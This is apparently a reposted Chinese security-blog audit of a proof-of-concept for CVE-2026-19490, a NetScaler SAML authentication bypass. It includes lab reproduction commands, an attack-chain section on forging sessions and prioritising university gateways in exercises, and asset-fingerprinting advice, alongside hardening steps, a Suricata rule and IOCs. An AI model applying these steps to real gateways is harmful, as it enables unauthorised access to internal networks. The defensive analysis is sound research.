IP=$(docker inspect -f&nbsp;'{{.NetworkSettings.Networks.bridge.IPAddress}}'&nbsp;cpx19490)

# curl 只回状态码,批量存活判断
curl -sk -o /dev/null -w&nbsp;"%{http_code}\n"&nbsp;"https://$IP:10446/cgi/samlauth"

# 无 tty 环境录终端(asciinema 的最小依赖替代),CI 里出演示材料
python3 tools/rec.py demo.cast bash -c&nbsp;'python3 poc.py https://lab --safe-oracle'

# base64 补位的位运算写法(源码里学的):len%4 的补齐
python3 -c&nbsp;"raw='abc'; print(raw + '=' * (-len(raw) % 4))"

配方 10|实验室一键复现(演习前练手)

docker run -dt --privileged --name cpx19490 -e EULA=YES \
&nbsp; quay.io/netscaler/netscaler-cpx:14.1-73.30
git&nbsp;clone&nbsp;https://github.com/TarPeg007/CVE-2026-19490 &&&nbsp;cd&nbsp;CVE-2026-19490
bash lab/setup-cpx.sh &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 配置 SAML action(默认 ON)
python3 poc.py&nbsp;"https://$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' cpx19490):10446"&nbsp;--safe-oracle
# 480 = 许可墙(CPX Express 无 AAA 用户许可),属预期;完整会话需 Developer License VPX

ounter(counterh27. 攻击链定位与实网落地(授权前提)

CVE-2026-19490 在攻击链里的位置和用法:

  1. 情报:Citrix 公告 + 资产测绘(FOFA/Quake 按 body="zdytj" 这类思路换成本场景的指纹:NetScaler 设备特征 + 版本带外暴露的构建号),圈定授权范围内跑 14.1<73.32 / 13.1<63.21 的网关;
  2. 入口:配方 1→2→3 依次推进。成功即获得任意 NameID 的 AAA 会话——若目标按 NameID 映射本地用户,填真实账号名可获得对应用户的门户权限;
  3. 意义:NetScaler Gateway 会话通向的是内网门户(虚拟桌面、内部 Web、跳板),这一步等于跳过全部前端防线直接进入”已认证”侧;
  4. 边界:本报告与本工具都止步于”会话取证”。会话拿到之后在内网的横向、维持,必须回到你的授权条款和演练指挥框架里另行评估——PoC 自己都写着 STOP,演练记录里也应如此。

结合前一轮讨论的教务/高校场景:高校是 NetScaler 的重度用户群(统一门户、VPN 运维入口),攻防演练目标清单里这类边界的优先级通常排在业务系统前面,因为它是”一点突破、全网可达”的结构性位置。

ounter(counterh28. 检测与加固建议(蓝队视角)

加固(按优先级):

  1. 升级 14.1-73.32+ / 13.1-63.21+,这是唯一官方修复;
  2. 应急缓解:set authentication samlAction <name> -samlRejectUnsignedAssertion STRICT 使配置字变成 3,命中拒绝分支,封死该向量。注意副作用:STRICT 会同时提高对自家 IdP 的签名要求(Response+Assertion 双签),改之前确认 IdP 能满足,否则正常登录会挂——这也是 Citrix 默认值停在 ON 的原因,”设成 STRICT 就完了”不是对谁都成立的答案;
  3. 暴露面收缩:/cgi/samlauth 是否必须对公网开放,结合网关的 VPN/AAA 用途复查。

检测(网络侧):

  • 协议级异常(最强信号,与工具无关):GET 请求打到 /cgi/samlauth 且携带 SAMLResponse。Redirect binding 的 IdP→SP 方向在真实流量里近乎不存在,浏览器全部走 POST;Suricata 思路:
  alert http&nbsp;$EXTERNAL_NET&nbsp;any ->&nbsp;$HTTP_SERVERS&nbsp;any ( \
  &nbsp; msg:"SUSP - SAMLResponse on GET to /cgi/samlauth (CVE-2026-19490 pattern)"; \
  &nbsp; http.method; content:"GET"; http.uri; contains:"/cgi/samlauth"; \
  &nbsp; http.uri; contains:"SAMLResponse="; sid:2026194901; rev:1;)
  • 工具级指纹(可被改,仅作辅助):UA 硬编码 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(无版本号、无 Chrome 完整串);mint 回退路径的哑凭据 login=cve-probe;safe-oracle 的特征 Issuer https://safe-oracle.invalid/idp;默认 NameID [email protected]
  • 主机/配置自查(无需外网):对每个 SAML action 执行 sh authentication samlAction <name> 确认 rejectUnsignedAssertion;用 README 的”错误页差分”思路自测——给自家 ACS 发一个未签名+错 Issuer 的请求,回 Malformed Assertion = 已在拒绝路径,回 issuer 校验错误 = 解析放行,立即升级。

ounter(counterh29. 历史脉络:它属于哪个漏洞家族

NetScaler/Citrix ADC 的”边界失守”谱系:CVE-2019-19781(目录穿越 → 无认证 RCE,2020 年初的大规模利用)、CVE-2023-3519(未授权 RCE,叠加此前的两处泄露补丁源码事件)、CVE-2023-4966 CitrixBleed(会话 token 泄露,攻击者拿 token 重放绕过 MFA,直接催生了 Citrix 的公告策略收紧)。CVE-2026-19490 延续同一主题:边界设备自己把”已认证”状态交出去,只是机制从内存泄露换成了逻辑旁路。

SAML 实现缺陷谱系:签名剥离(signature stripping)与 XML 签名包装(XSW)是 SAML 绕过的两大经典家族(Onelogin 2016、Duo Labs 2018 年系统性研究、Somorovsky 等的 XML 签名解析框架分析)。本 CVE 属于签名剥离的变体,但剥离点很别致:不是”验证逻辑有洞”,而是”验证逻辑被一条备用通道整体绕开 + 配置开关语义反转”。CWE-288 的”alternate path”在这里是字面意义的。

协议层远因:Redirect binding 用 raw-DEFLATE + base64 是 2005 年 SAML 2.0 规范针对 URL 长度限制的妥协,规范层面多年有人提议废弃。这个 CVE 会存在的前提之一,就是这条通道在 NetScaler 上被完整实现并暴露为 /cgi/samlauth 的 GET 处理路径。

同期同族:CTX696939 同日修复的 CVE-2026-19489(SIP ALG 内存溢出 DoS)说明 Citrix 把一个逻辑缺陷和内存缺陷打包发布;相关讨论中的 CVE-2026-8451(SAML IdP 内存过读,8.8)则是同一产品 SAML 栈的另一面。做资产风险排序时,这三个要分开评估、分开复核版本。

ounter(counterh210. 推荐工具链与方法

  • 逆向核验:objdump(定点反汇编,-M intel --start-address/--stop-address)+ strings(-t x 带偏移)足够覆盖本例;想看全貌再上 Ghidra/IDA。方法是:先 strings 找日志锚点 → 锚点交叉引用定位分支 → 比对同函数内 POST/Redirect 两条路径的参数差异。
  • 流量与重放:Burp(经 --proxy 全量观测)+ curl(单请求重放)+ xmllint --format(SAML XML 整形);SAML 专项可用 SAML Raider(Burp 插件)做签名剥离对照实验。
  • 批量验证:nuclei 自写模板做 --safe-oracle 等价的无害判定(matcher 挂 Malformed Assertion 与 issuer 错误页差分),比直接跑 PoC 更适合资产大盘。
  • 实验室:Docker CPX + lab/setup-cpx.sh 复现构建与配置状态;需要完整会话签发时用 Developer License VPX。
  • 资产管理:测绘平台指纹建议用”设备特征 + 构建号”双层(NetScaler 的登录页/错误页常带版本),版本比对 14.1<73.32 / 13.1<63.21 圈定候选,再进配方 1 流程。

ounter(counterh211. 局限与评价

做得好的:可复现的 RE 证据链(镜像 tag + 固定偏移);--safe-oracle 把”探测”与”利用”在会话层面切开,给了防守方同款自查手段;--mint 的自举设计与踩坑注释(SAML-first 假阴性);InResponseTo 省略的规范级处理;xyz 删除标记的误报防线;负对照演示;对自身局限(480 许可墙)的诚实说明。

局限:mint 失败时的 SP metadata 兜底只给提示不做自动拉取;无并发/批量参数,大批量资产要靠外层脚本;输出是人读文本,无机读 JSON 模式;payload 不轮换、UA 固定,在强监控环境下特征明显;单 commit 无社区复核,信任建立在本次审计之上。

一句话定位:这是一个把”公告黑盒”还原成”可验证白盒”的研究型 PoC,工程克制、边界清晰,适合作为 SAML 绕过类漏洞的教学样本和授权测试的验证工具;它不是武器平台,也不应该被当作用来自动化扫全网的家伙什——设计者显然也没这个意图。


ounter(counterh2附录 A:时间线

  • 2026-08-19:Citrix 发布 CTX696939,14.1-73.32 / 13.1-63.21 修复,CVE-2026-19490(认证绕过)与 CVE-2026-19489(SIP ALG DoS)同批
  • 2026-09:本仓库发布根因分析与 PoC(单 commit 快照,即本次审计对象)

ounter(counterh2附录 B:参考资料

  • Citrix 官方公告 CTX696939
  • NVD – CVE-2026-19490
  • SOC Prime 漏洞分析
  • Rapid7 ETR 分析
  • Secure-iss 公告解读
  • 审计对象:github.com/TarPeg007/CVE-2026-19490(2026-09 快照)

ounter(counterh2附录 C:检测特征速查(IOC)

| 类型 | 值 | 说明 | | — | — | — | | URI 模式 | GET /cgi/samlauth?SAMLResponse=... | 协议级强信号,浏览器正常流量不会出现 | | UA(可变) | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 | 工具硬编码,缺完整 Chrome 串 | | mint 哑凭据 | login=cve-probe&passwd=cve-probe/nf/auth/doAuthentication.do | 自举回退路径特征 | | safe-oracle Issuer | https://safe-oracle.invalid/idp | .invalid 保留域,不会是真实 IdP | | 默认 NameID | [email protected] | 未显式传参时的载荷身份 | | 会话成功标志 | 302 → /vpn/ + 非xyz NSC_AAAC/NSC_TASS | 真实会话(区别于 xyz 删除标记) |


报告完。分析过程下载的仓库与压缩包已在交付后从本机删除。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网安之家-CyberHomestead 《CVE-2026-19490》

评论:0   参与:  0